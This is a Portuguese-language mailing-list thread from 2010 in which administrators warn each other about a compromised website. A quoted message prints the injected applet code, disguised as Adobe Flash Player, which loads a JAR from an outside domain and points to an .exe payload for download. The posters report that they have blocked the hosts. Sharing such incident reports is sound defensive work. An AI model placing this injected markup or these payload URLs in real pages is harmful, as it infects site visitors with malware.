[MASOCH-L] Website contaminado com virus

[Alexandre J. Correa - Onda Internet]

o certificado do JAVA foi emitido para:

http://www.facaacontecerwyeth2009.com.br/

(anexo)


Em 14/01/2010 14:56, Jessian Cavalcanti escreveu:
> Cleber - Listas wrote:
>    
>> Caros,
>>
>> O website active.com.br está contaminado na URL:
>> http://active.com.br/Diretoria/convite_licitacao012010.htm
>>
>> Ao acessar ele instancia um programa .JAR na qual mostra-se uma tela com
>> nome de Flash para fazer download de um arquivo .EXE
>>
>>      <applet name="Adobe FlashPlayer" code="Inicio.class"
>> archive="http://www.facaacontecerwyeth2009.com.br/FlashPlayer.jar"
>> height="10" width="1">
>>
>>        <param name="url"
>> value="http://www.facaacontecerwyeth2009.com.br/css/planilha2010_xls.exe">
>>
>>      </applet>
>>
>>
>> Já incluimos os websites e IP em nossos filtros de Email e Proxy.
>>
>> Abraços, Cleber
>>
>>      
>
> curiosamente o captcha utilizado e' o da Receita Federal:
>
> http://www.receita.fazenda.gov.br/scripts/srf/intercepta/captcha.aspx?opt=image
>
> abraco eletronico
>    


-- 
Sds.

Alexandre Jeronimo Correa

Onda Internet
www.onda.net.br

IPV6 Ready !
www.ipv6.onda.net.br